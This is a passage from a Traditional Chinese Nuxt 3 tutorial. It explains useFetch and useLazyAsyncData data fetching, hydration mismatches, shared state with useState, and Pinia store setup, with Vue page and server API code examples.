AsyncData\u0026lt;DataT\u0026gt; = { data: Ref\u0026lt;DataT\u0026gt; pending: Ref\u0026lt;boolean\u0026gt; refresh: () =\u0026gt; Promise\u0026lt;void\u0026gt; execute: () =\u0026gt; Promise\u0026lt;void\u0026gt; error: Ref\u0026lt;Error | boolean\u0026gt; } useFetch() 傳入的參數 url：要獲取資料的 URL 或 API Endpoint。 options：(繼承自 unjs/ohmyfetch 選項與 AsyncDataOptions) method：發送 HTTP 請求的方法，例如 GET、POST 或 DELETE 等。 params：查詢參數 (Query params)。 body：請求的 body，可以傳入一個物件，它將自動被轉化為字串。 headers：請求的標頭 (headers)。 baseURL：請求的 API 路徑，基於的 URL。 options：(繼承自 useAsyncData 的選項) key：唯一鍵，可以確保資料不會重複的獲取，也就是如果 Key 相同便不會再發送相同的請求，除非重新整理頁面由後端再次渲染獲取，或呼叫 useAsyncData 回傳的 refresh() 函數重新取得資料。 server：是否在伺服器端獲取資料，預設為 true。 lazy：是否於載入路由後才開始執行異步請求函數，預設為 false，所以會阻止路由載入直到請求完成後才開始渲染頁面元件。 immediate：預設為 true，請求將會立即觸發。 default：當傳入這個 factory function，可以將異步請求發送與回傳解析前，設定資料的預設值，對於設定 lazy: true 選項特別有用處，至少有個預設值可以使用及渲染顯示。 transform：修改加工 handler 回傳結果的函數。 pick：handler 若回傳一個物件，只從中依照需要的 key 取出資料，例如只從 JSON 物件中取的某幾個 key 組成新的物件。 watch：監聽 ref 或 reactive 響應式資料發生變化時，觸發重新請求資料，適用於資料分頁、過濾結果或搜尋等情境。 initialCache：預設為 true，當第一次請求資料時，將會把有效的 payload 快取，之後的請求只要是相同的 key，都會直接回傳快取的結果。 useFetch() 的回傳值 data：傳入異步函數的回傳結果。 pending：以 true 或 false 表示是否正在獲取資料。 refresh / execute：一個函數，可以用來重新執行 handler 函數，回傳新的資料，類似重新整理、重打一次 API 的概念。預設情況下 refresh() 執行完並回傳後才能再次執行。 error：資料獲取失敗時回傳的物件。 舉個例子，我們新增一個 Server API，./server/api/about.js 內容如下：\nserver/api/about.js 1 2 3 4 5 6 7 8 9 10 11 12 let counter = 0 export default defineEventHandler(() =\u0026gt; { counter += 1 return { name: \u0026#39;Ryan\u0026#39;, gender: \u0026#39;男\u0026#39;, email: \u0026#39;ryanchien8125@gmail.com\u0026#39;, counter } }) 新增一個路由頁面，./pages/about/useFetch.vue 內容如下：\npages/about/useFetch.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;text-2xl text-gray-600\u0026#34;\u0026gt; 請求狀態: {{ pending ? \u0026#39;請求中\u0026#39; : \u0026#39;完成\u0026#39; }} \u0026lt;/p\u0026gt; \u0026lt;span v-if=\u0026#34;error\u0026#34; class=\u0026#34;mt-4 text-6xl text-gray-600\u0026#34;\u0026gt;是否錯誤: {{ error }}\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;回傳資料:\u0026lt;/span\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ data }}\u0026lt;/p\u0026gt; \u0026lt;button class=\u0026#34;mt-6 rounded-sm bg-blue-500 py-3 px-8 text-xl font-medium text-white hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;refresh\u0026#34; \u0026gt; 重新獲取資料 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { data, pending, error, refresh } = await useFetch(\u0026#39;/api/about\u0026#39;, { pick: [\u0026#39;name\u0026#39;, \u0026#39;counter\u0026#39;] }) \u0026lt;/script\u0026gt; 透過 useFetch() 我們能更簡單的發送 API 請求，並能得到狀態與重新獲取資料的函數，甚至在第一次進入頁面時，利用 $fetch 可以直接呼叫伺服器 API 函數的特性來降低 API 的請求次數。\n攔截器 我們也可以透過 $fetch 提供的選項來設置攔截器。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const { data, pending, error, refresh } = await useFetch(\u0026#39;/api/auth/login\u0026#39;, { onRequest({ request, options }) { // 設定請求時夾帶的標頭 options.headers = options.headers || {} options.headers.authorization = \u0026#39;...\u0026#39; }, onRequestError({ request, options, error }) { // 處理請求時發生的錯誤 }, onResponse({ request, response, options }) { // 處理請求回應的資料 return response._data }, onResponseError({ request, response, options }) { // 處理請求回應發生的錯誤 } }) useLazyAsyncData 預設的情況下，useAsyncData() 的 options.lazy 為 false，意思是，預設得情況下，當進入路由後，會開始執行異步請求函數，並會會阻止路由載入元件等，直到請求完成後才開始渲染頁面元件。\nuseLazyAsyncData() 則是 options.lazy 預設為 true 的封裝，也就是請求資料時它將不會阻塞，並讓頁面繼續渲染元件。\n舉個例子，我們新增一個 Server API，並稍微添加一下延遲，模擬 API 約需要處理 2 秒才回傳資料，./server/api/count.js 內容如下：\nserver/api/count.js 1 2 3 4 5 6 7 8 9 let counter = 0 export default defineEventHandler(async () =\u0026gt; { await new Promise((resolve) =\u0026gt; setTimeout(resolve, 2000)) // 等待 2 秒 counter += 1 return JSON.stringify(counter) }) 新增一個路由頁面，./pages/count/useLazyAsyncData.vue 內容如下：\npages/count/useLazyAsyncData.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;text-6xl text-gray-600\u0026#34;\u0026gt;瀏覽次數\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-9xl font-semibold text-sky-400\u0026#34;\u0026gt;{{ data }}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/count\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { data } = useLazyAsyncData(\u0026#39;count\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/count\u0026#39;)) \u0026lt;/script\u0026gt; 可以發現，我們使用 useLazyAsyncData() 後，會與前面使用 useAsyncData() 的效果不一樣，會先渲染出元件，即看到的文字「瀏覽次數」，並再 API 回傳後才響應資料重新渲染數值。\n透過 default 選項可以來建立 API 回傳前的預設值，在 options.lazy 為 true 的情況下，都建議設定一下預設值，可以讓使用者體驗更好一些。\n添加 default 選項，./pages/count/useLazyAsyncData.vue 內容如下：\npages/count/useLazyAsyncData.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;text-6xl text-gray-600\u0026#34;\u0026gt;瀏覽次數\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-9xl font-semibold text-sky-400\u0026#34;\u0026gt;{{ data }}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { data } = useLazyAsyncData(\u0026#39;count\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/count\u0026#39;), { default: () =\u0026gt; \u0026#39;-\u0026#39; }) \u0026lt;/script\u0026gt; 在 API 請求回來前，預設值會是 -。\nuseLazyFetch 如同 useLazyAsyncData 所描述，useLazyFetch 則是 useFetch 的 options.lazy 選項預設為 true 的封裝。\n重新獲取資料 前面有提到我們可以使用 refresh() 來重新獲取具有不同查詢參數的資料。\nrefreshNuxtData 你也可以透過 refreshNuxtData 來使 useAsyncData、useLazyAsyncData、useFetch 與 useLazyFetch 的快取失效，再觸發刷新資料。\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; {{ pending ? \u0026#39;Loading\u0026#39; : count }} \u0026lt;/div\u0026gt; \u0026lt;button @click=\u0026#34;refresh\u0026#34;\u0026gt;Refresh\u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const { pending, data: count } = useLazyAsyncData(\u0026#39;count\u0026#39;, () =\u0026gt; $fetch(\u0026#39;/api/count\u0026#39;)) const refresh = () =\u0026gt; refreshNuxtData(\u0026#39;count\u0026#39;) \u0026lt;/script\u0026gt; Nuxt 已經為我們封裝好可以打 API 的組合函數，用起來也相當簡單方便，照著官網範例及 ohmyfetch 套件的說明，相信很快就能上手。\n狀態管理 (State Management) Vue 3 父子元件間資料傳遞與讀寫或是跨元件間的狀態共享，可以選擇使用 Props / Emit、Provide / Inject 或 Vuex store 來處理，這三種資料流都不大一樣，我們也會依據情境來決定狀態管理的方式。這邊會針對 Nuxt 3 所提供的組合式函數 useState 來講述元件間的共享狀態，應該如何做定義，以及使用 Pinia 替代 Vuex 來做狀態管理。\nHydration 首先，我們先來看一個例子，建立 ./pages/random.vue 內容如下：\npages/random.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-sky-400\u0026#34;\u0026gt;{{ count }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const count = ref(Math.round(Math.random() * 1000)) \u0026lt;/script\u0026gt; 頁面呈現出，每次重新整理頁面，頁面會顯示新的亂數：\n細心你的可能會發現，每次重整頁面，數字好像變化了兩次，圖中數字停留在 517，重新整理網頁後竟然先變成了 163 後再變成 101。\n這個現象其實是伺服器端渲染後與客戶端再次渲染所導致的。講的白話一點就是，因為 Nuxt 預設的渲染模式 Universal Rendering 在 SSR 時期，將 random.vue 內容於伺服器端渲染完成後亂出產生出 163 作為初始值，意即 const count = ref(163)，所以網頁先顯示了 163 這個數字，同時，瀏覽器的背景也正在下載客戶端所需要的 JS 準備接手做 CSR，當 JS 載入完成後又再一次的執行 Vue 元件的 const count = ref(Math.round(Math.random() * 1000)) 這段程式碼，此時亂數產生了 101 這個數字，客戶端也就重新渲染出了 101 於頁面上，這也就是為什麼每次重新整理數字會變化兩次的原因。\nNuxt 預設的通用渲染 (Universal Rendering) 模式，是結合了 SSR 與 CSR 的技術，在 Nuxt 收到網頁請求後，會在伺服器渲染出 HTML 回傳至瀏覽器渲染顯示出靜態頁面，同時開始載入需要的 Vue 程式碼，讓客戶端接手為 SPA 使得網頁具有互動性，接手後的渲染行為都是在客戶端進行的 CSR，這也就讓通用渲染同時兼具 SSR 對 SEO 的友善以及 CSR 良好互通性的使用者體驗。\n這種在瀏覽器中使後端渲染出的靜態頁面具有交互性，稱之為「Hydration」。\n依據官網所提供的圖片，我添加了一些文字來幫助理解。前述提到了在伺服器渲染網頁 HTML 給瀏覽器時，使用可以正常的看見網頁，但是在 JS 下載完成之前，網頁是不具有互動性的，也就是還不具有路由跳轉等 Vue 互動邏輯，直至 JS 下載完後會 Hydrate Vue 程式碼，這時客戶端就完全接手後續的互動與 CSR，到這邊 Hydration 完成，我們也就能與網站完整的互動了。\n回到一開始的例子，我們在瀏覽器打開開發者工具的主控台 (Console)，可以發現到其實開發的過程，也出現了錯誤提示「Hydration completed but contains mismatches.」，告訴我們 Hydration 完成了但是包含了不匹配，正是前端與後端初始值不同的錯誤。\n接下來我們將介紹 Nuxt 提供的組合式函數 useState，來可以解決這個問題。\nNuxt 3 的狀態管理 (State Management) Nuxt 提供了一個組合式函數 useState 用來建立具有響應式及對於 SSR 友善的共享狀態。\n在前面的例子我們提到因為 Hydration 而導致前後端的初始值可能不一致，而 useState 是一個對 SSR 友善的 ref 替代品，使用 useState 建立的響應式變數，它的值會在伺服器端渲染後與客戶端 Hydration 期間的得以被保留。\nuseState 有兩種接收不同數量參數的呼叫方式：\n1 2 useState\u0026lt;T\u0026gt;(init?: () =\u0026gt; T | Ref\u0026lt;T\u0026gt;): Ref\u0026lt;T\u0026gt; useState\u0026lt;T\u0026gt;(key: string, init?: () =\u0026gt; T | Ref\u0026lt;T\u0026gt;): Ref\u0026lt;T\u0026gt; key：唯一鍵，用於確保資料能被正確請求且不重複。 init：用於提供的初始值給 State 的函數，這個函數也可以回傳一個 ref。 舉個例子，新增 ./pages/count.vue，內容如下：\npages/count.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-emerald-400\u0026#34;\u0026gt;{{ count }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const count = useState(\u0026#39;count\u0026#39;, () =\u0026gt; Math.round(Math.random() * 1000)) \u0026lt;/script\u0026gt; 可以發現，使用 useState 初始化 count 的值後，瀏覽器重整頁面，就不像前面的例子會發生兩次的數值變動。\n當我們使用 useState 並以 count 當作 key，在網頁請求進入伺服器端執行時，還沒有這個 count 狀態，所以執行了初始化函數產生出一個亂數，例如 888 就會回傳給 count 當作響應式變數的初始值，此時這個網頁請求，已經有一個 count 的響應式狀態，當前端於 Hydration 步驟再次的執行了下面這段程式碼，useState 一樣是以 count 當作 key，但是存在了一個由伺服器端建立好的 count，就會直接使用該狀態，也就不會在執行初始化函數，而導致前後端的初始狀態不一致的問題。\n1 const count = useState(\u0026#39;count\u0026#39;, () =\u0026gt; Math.round(Math.random() * 1000)) useState 的基本用法 新增 ./pages/counter/increment.vue，內容如下：\npages/counter/increment.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-sky-600\u0026#34;\u0026gt;{{ counter }}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;mt-8 flex flex-row\u0026#34;\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counter++\u0026#34; \u0026gt; 增加 \u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counter--\u0026#34; \u0026gt; 減少 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-slate-500\u0026#34;\u0026gt;如果是第一次進入這個頁面，數值初始設定為 0\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const counter = useState(\u0026#39;counter\u0026#39;, () =\u0026gt; 0) \u0026lt;/script\u0026gt; 我們使用 useState 並以 counter 當作 key，首次於後端渲染時會初始化為 0，當前端Hydration 步驟載入 Vue 或跳轉頁面，因為使用相同的 key 所以這個狀態也會繼續被保留，直至我們下一次重新整理網頁。\nuseState 的共享狀態 前面 useState 的基本用法以 counter 當作 key，我們可以再建立不同的頁面元件並使用 useState('counter') 就可以把這個狀態拿做出來用，也就達到了在任何元件中可以共享相同的響應式狀態。\n新增 ./pages/counter/surprise.vue，內容如下：\npages/counter/surprise.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-sky-600\u0026#34;\u0026gt;{{ counter }}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;mt-8 flex flex-row\u0026#34;\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counter++\u0026#34; \u0026gt; 增加 \u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counter--\u0026#34; \u0026gt; 減少 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-slate-500\u0026#34;\u0026gt;如果是第一次進入這個頁面，數值初始設定為亂數\u0026lt;/p\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const counter = useState(\u0026#39;counter\u0026#39;, () =\u0026gt; Math.round(Math.random() * 1000)) \u0026lt;/script\u0026gt; 我們可以任意導航至 /counter/increment 與 /counter/surprise 頁面，可以發現兩個頁面可以共享相同的 counter 狀態，當首次進入或重新整理 increment.vue 頁面，會將 counter 初始化為 0；而首次進入或重新整理 surprise.vue 頁面則是產生一個亂數給予 counter。\n當然你也可以直接在其他元件中使用 useState('counter')，就可以取得共享的響應式裝態，但如果這個元件是初次進入而沒有預設值的建立函數，可能會引發一些錯誤，要特別的注意。\n使用組合式函數建立共享狀態 如下例子，我們可以建立組合式函數 (Composables) 來搭配 useState。\n新增 ./composables/states.ts，內容如下：\ncomposables/states.ts 1 export const useColor = () =\u0026gt; useState\u0026lt;string\u0026gt;(\u0026#39;color\u0026#39;, () =\u0026gt; \u0026#39;green\u0026#39;) 新增 ./pages/color.vue，內容如下：\npages/color.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-emerald-400\u0026#34;\u0026gt;{{ color }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const color = useColor() \u0026lt;/script\u0026gt; 如此一來我們定義好的組合式函數就可以被自動的導入及建立具有類型安全的狀態，在各個元件之間就可以呼叫這個組合函數來取得共享狀態。\n在通用渲染的模式之下，瀏覽器於 Hydration 完成前，網頁雖然能瀏覽但是尚不具有互動性，直至 Hydration 完成後，Vue 的頁面元件會重新載入與綁定，因此我們對於響應式的變數，儘量使用 useState 來替代 ref 以確保 Hydration 前後的初始值得以被保留，而且 useState 因為可以使用 key 來使狀態於元件間共享。\n狀態管理 - Store \u0026amp; Pinia 上述我們介紹了如何在 Nuxt 3 使用 useState 來建立一個元件間的共享狀態，隨著專案的健壯增大，我們就需要一個更好的方式來管理與儲存這些狀態，例如在 Vue 中使用 Vuex 或 Pinia 來建立一個 Store 管理這些狀態就是一個解決方案。如果你還不了解 Pinia，可以理解為是 Vuex v5。因為目前 Pinia 已經成為 Vue 官方推薦的狀態管理解決方案，本篇將針對 Nuxt 使用 Pinia 做一個簡單的介紹。\nPinia 如果你使用過 Vuex 大概會知道 Vue 如何建立 Store 來做狀態管理，隨著時間 Vuex 很積極的蒐集社群及使用者的意見來規劃 Vuex v5。Pinia 的作者 Eduardo 是 Vue.js 核心團隊的成員之一，也參與著 Vuex 的開發，當時他正測試著 Vuex v5 的提案，而 Pinia 成為探索這些意見及可能性的先驅，實現了 Vuex v5 可能的樣子，現在 Pinia 的 API 已經進入穩定狀態，也成為 Vue 官方推薦使用的狀態管理解決方案，並遵循著 Vue 生態的 RFC 流程。\nPinia 相較於 Vuex 有以下差異：\n沒有 mutation，只需要使用 action 就可以改狀態。 不再有 modules 巢狀的結構，也不再需要為模組定義命名空間，因為在 Pinia 中，可以定義多個 Store 而且每個都是獨立的也都具有自己的命名空間。 更完整的支援 TypeSctipt，也不再需要使用多餘的 types 來封裝，所有的內容都是類型化的，Pinia API 的設計方式盡可能使用 TypeSctipt 類型推斷。 非常輕巧，約僅有 1 KB，而且可以自定義插件。 支援伺服器端渲染 (SSR) 與程式碼自動拆分。 Nuxt 3 安裝 Pinia 1 2 3 npm install -D pinia @pinia/nuxt --force # or # yarn add -D pinia @pinia/nuxt --force 目前照著官方安裝 Pinia，會發生一些問題，所以我們在安裝時加上 \u0026ndash;force 參數\n添加 @pinia/nuxt 至 nuxt.config.ts 的 modules 屬性中。\nnuxt.config.ts 1 2 3 export default defineNuxtConfig({ modules: [\u0026#39;@pinia/nuxt\u0026#39;] }) 建立第一個 Pinia 的 Store Pinia 提供了一個函數 defineStore 用來定義 store，呼叫時需要一個唯一的名稱來當作第一個參數傳遞，也稱之為 id，Pinia 會使用它來將 store 連接到 devtools。\n建議將回傳的函數命名為 use...，例如 useCounterStore，use 作為開頭是組合式函數命名的約定，來符合使用上的習慣。\n而 defineStore 的第二個參數，可以傳入 Options 物件或是 Setup 函數，例如我們使用 Options 來定義一個 Store，新增 ./stores/counter.js，內容如下：\nstores/counter.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import { defineStore } from \u0026#39;pinia\u0026#39; export const useCounterStore = defineStore(\u0026#39;counter\u0026#39;, { state: () =\u0026gt; ({ count: 0 }), actions: { increment() { this.count += 1 }, decrement() { this.count -= 1 } }, getters: { doubleCount: (state) =\u0026gt; state.count * 2 } }) 可以發現到與 Vue 的 Options API 非常類似，我們可以傳遞帶有 state、actions 和 getters 屬性的物件。這些屬性正好讓 Store 與 Options API 呼應彼此的關係，如 state 對應 data、actions 對應 methods 而 getters 對應 computed。\n還有另一種方式可以來定義 Store，與 Vue Composition API 的 setup 函數類似，我們可以傳入一個函數，這個函數裡面定義響應式屬性、方法等函數，最後回傳我們想公開的屬性和方法所組成的物件。\n以 setup 函數定義 counter store，內容如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { defineStore } from \u0026#39;pinia\u0026#39; export const useCounterStore = defineStore(\u0026#39;counter\u0026#39;, () =\u0026gt; { const count = ref(0) const increment = () =\u0026gt; { count.value += 1 } const decrement = () =\u0026gt; { count.value -= 1 } const doubleCount = computed(() =\u0026gt; count.value * 2) return { count, increment, decrement, doubleCount } }) 開始使用 Store 我們只需要在元件中，如下程式碼匯入並呼叫 useCounterStore() 就可以操作 store 裡面的方法或屬性囉！\n1 2 3 import { useCounterStore } from \u0026#39;@/stores/counter\u0026#39; const counterStore = useCounterStore() 我們新增一個頁面元件 ./pages/counter.vue，內容如下：\npages/counter.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;text-9xl font-semibold text-sky-600\u0026#34;\u0026gt;{{ counterStore.count }}\u0026lt;/span\u0026gt; \u0026lt;div class=\u0026#34;mt-8 flex flex-row\u0026#34;\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counterStore.increment\u0026#34; \u0026gt; 增加 \u0026lt;/button\u0026gt; \u0026lt;button class=\u0026#34;font-base mx-2 rounded-full bg-sky-500 px-4 py-2 text-xl text-white hover:bg-sky-600 focus:outline-none focus:ring-2 focus:ring-sky-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;counterStore.decrement\u0026#34; \u0026gt; 減少 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { useCounterStore } from \u0026#39;@/stores/counter\u0026#39; const counterStore = useCounterStore() \u0026lt;/script\u0026gt; 這樣我們就完成了一個 store 的顯示狀態值，透過呼叫 counterStore 內定義的 increment 與 decrement 來改變狀態。\n在不同的元件間，你也可以使用 useCounterStore 取得已經建立好的 store 來共享這些狀態或進行操作。\nPinia Store 的 State 預設情況下，可以直接對 store 的實例來取得狀態，而使用 Pinia 定義的 store 比較特別的是，我們可以不用透過呼叫函數來修改狀態，也可以直接對 store 的狀態進行修改。\n1 2 3 const counterStore = useCounterStore() counterStore.count += 10 改變狀態 除了直接使用 counterStore.count += 10 修改 store，你也可以使用 store 提供的 helper $patch 來修改部分的狀態。\n1 2 3 4 userStore.$patch({ name: \u0026#39;Ryan\u0026#39; money: \u0026#39;88888888\u0026#39;, }) 對於集合類型的修改，例如陣列的新增、刪除或指定修改某一個元素等操作，你可以使用 $patch 傳入一個函數，這個函數會接收一個 state 讓你可以修改，對於比較複雜的操作會很方便。\n1 2 3 4 cartStore.$patch((state) =\u0026gt; { state.items.push({ name: \u0026#39;shoes\u0026#39;, quantity: 1 }) state.hasChanged = true }) 如果你需要，也可以將 store 的整個 state 重新設置成一個新的物件。\n1 2 3 4 cartStore.$state = { items: [], hasChanged: false, } 重置狀態 store 的實例提供了一個 $reset() 的 helper，呼叫它就可以將 store 的狀態重置至初始值，不過目前只在使用 Option 物件定義的 store 才有實作。\n1 2 3 const counterStore = useCounterStore() counterStore.$reset() Pinia Store 的 Getters 使用同一個 store 中的其他 getter 在 store 內你可以組合多個 getter，在 Option 物件下，可以透過使用 this 來呼叫使用其他的 getter。\n1 2 3 4 5 6 7 8 9 10 11 export const useStore = defineStore(\u0026#39;main\u0026#39;, { state: () =\u0026gt; ({ counter: 0, }), getters: { doubleCount: (state) =\u0026gt; state.counter * 2, doubleCountPlusOne() { return this.doubleCount + 1 }, } }) 使用其他 store 的 getter 在 store 內你也可以組合其他 store 的 getter，只要建立出其他 store 實例就可以呼叫使用了。\n1 2 3 4 5 6 7 8 9 10 11 12 13 import { useOtherStore } from \u0026#39;./other-store\u0026#39; export const useStore = defineStore(\u0026#39;main\u0026#39;, { state: () =\u0026gt; ({ // ... }), getters: { otherGetter(state) { const otherStore = useOtherStore() return state.localData + otherStore.data }, }, }) Pinia Store 的 Actions Actions 相當於元件中的方法，也是修改狀態的商業邏輯定義的位置，action 可以是同步也可以是異步的，因此，我們也能在 action 中打後端 API 來取得資料後更新狀態。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { defineStore } from \u0026#39;pinia\u0026#39; export const useUserStore = defineStore(\u0026#39;user\u0026#39;, { state: () =\u0026gt; ({ profile: { name: \u0026#39;\u0026#39;, gender: \u0026#39;\u0026#39;, email: \u0026#39;\u0026#39; } }), actions: { async getUserProfile() { try { const { data } = await useFetch(\u0026#39;/api/profile\u0026#39;) this.profile = data } catch (error) { return error } } } }) Store 的解構 有些情況，你可能需要將 Store 中的屬性或方法獨立的提取出來，但為了保持屬性的響應性，你需要使用 storeToRefs 來建立屬性的參考，就像使用 toRefs 來建立 props 的參考一樣。\n1 2 3 4 5 6 7 import { storeToRefs } from \u0026#39;pinia\u0026#39; import { useCounterStore } from \u0026#39;@/stores/counter\u0026#39; const counterStore = useCounterStore() const { count } = storeToRefs(counterStore) const { increment, decrement } = counterStore Pinia 持久化插件 - Pinia Plugin Persistedstate Pinia 是個非常輕量的狀態管理解決方案，而且也提供底層 API 使得 Pinia 能夠自定義插件來擴展功能，舉例來說，我們有些狀態需要儲存在使用者瀏覽器中，下次再瀏覽時可以取的當時儲存的狀態資料，我們就需要將 store 的狀態持久化。\n我們可以使用 Pinia Plugin Persistedstate 這個插件，來做到持久化這件事，這對於儲存使用者資訊或登入狀態非常的方便。\n在 Nuxt 3 中配置使用 Pinia Plugin Persistedstate Step 1. 安裝套件 1 2 3 npm install -D pinia-plugin-persistedstate --force # or # yarn add -D pinia-plugin-persistedstate --force 目前照著官方安裝 Pinia，會發生一些問題，所以我們在安裝時加上 